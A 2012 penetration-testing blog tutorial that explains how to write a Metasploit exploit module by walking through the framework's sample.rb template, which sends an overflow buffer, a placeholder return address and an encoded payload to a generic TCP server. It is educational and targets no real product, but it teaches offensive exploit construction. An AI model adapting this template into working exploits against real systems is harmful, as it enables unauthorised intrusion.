Creating Metasploit Exploits

pentestlab.blog/category/coding/page/10

July 3, 2012

Metasploit Framework is one of the main tools for every penetration test engagement. It contains in its database hundreds of exploits and it gets updated regularly with new modules.However in some cases as a penetration testers we will need to integrate our own exploits into the framework.In order to achieve that we need understand how metasploit modules are written.For this tutorial we will analyze the code of the **sample.rb** exploit that metasploit provides which is located in the **/pentest/exploits/framework/documentation/samples/modules/exploits/** directory.

The first two things that we need to create are:

1. Class
2. Initialization Method

```
require 'msf/core'

module Msf

###
#
# This exploit sample shows how an exploit module could be written to exploit
# a bug in an arbitrary TCP server.
#
###
class Exploits::Sample < Msf::Exploit::Remote

	#
	# This exploit affects TCP servers, so we use the TCP client mixin.
	#
	include Exploit::Remote::Tcp
```

Metasploit Class

The **msf/core** module will give us access to all the Metasploit Framework code.Next we extend the class **Msf::Exploit::Remote** to create a new **Exploits** class.Extending the class we obtain helper functions to deal with socket handling and encoding data for the network.Last thing in this stage is to include the module code from **Exploit::Remote::Tcp** in order to include critical protocol functions like **connect** and options such as **RHOST** and **RPORT**.

Initialization Method

The information in the initialization method will include the following:

- Module Name
- Description
- Payload Parameters
- Information about the exploit targets

```
def initialize(info = {})
    super(update_info(info,
        'Name'           => 'Sample exploit',
        'Description'    => %q{
            This exploit module illustrates how a vulnerability could be exploited
            in an TCP server that has a parsing bug.
        },
        'Author'         => 'skape',
        'Version'        => '$Revision: 9212 $',
        'References'     =>
            [
            ],
        'Payload'        =>
            {
                'Space'    => 1000,
                'BadChars' => "\x00",
            },
```

Initialization Method

In the initialization method the super method will pass the output from the **update_info** to the underlying classes to assure that the setup of our class is correct.This method what it does is to update the module default information with information that is specific to our exploit.The **name** and **description** are the information that someone will see when he will use the command info into our specific exploit.The **author** contains information about the creator of the exploit and the version the version of the module.The payload has information that will inform metasploit about our payload.Specifically the **Space** indicates the number of characters of the payload and the **BadChars** any incompatible shellcode characters.The **BadChars** is included in the code in order to ensure that the Msfencode will encode the payload in a way that the computer will be able to decode it and execute.

```
            },
        'Targets'         =>
            [
                # Target 0: Windows All
                [
                    'Windows Universal',
                    {
                        'Platform' => 'win',
                        'Ret'      => 0x41424344
                    }
                ],
            ],
        'DefaultTarget' => 0))
end
```

Initialization Method 2

The next step is to define for which platform is this exploit for.In this specific example the exploit is for Windows.The **Ret** is the return address and the **DefaultTarget** is the index of the **Targets** array that should be the default target for the exploit.

```
»       def exploit
»       »       connect

»       »       print_status("Sending #{payload.encoded.length} byte payload...")

»       »       # Build the buffer for transmission
»       »       buf  = "A" * 1024
»       »       buf += [ target.ret ].pack('V')
»       »       buf += payload.encoded

»       »       # Send it off
»       »       sock.put(buf)
»       »       sock.get

»       »       handler
»       end

end

end
```

Exploit method

The next stage is to add the exploit code into the exploit.For that the **exploit** method is being used into the code.This piece of code is what is going to be executed when we will run the exploit command in metasploit framework.The **connect** method is used for the connection of the exploit with the target host.The **print_status** will print the message on the terminal whenever the exploit is connected with the target.In the next part the buffer is constructed and finally the **handler** method is used for handling the payload connection.

Conclusion:

As we have seen the code and the structure of a metasploit module is pretty straightforward.Metasploit framework gets updated regularly and new modules are included but if you want to start customizing the framework with your own modules and exploits that are not included in the framework then you have to start learning about the metasploit methods,classes etc.With that way you will customize the framework to your own needs and without having to wait for updates.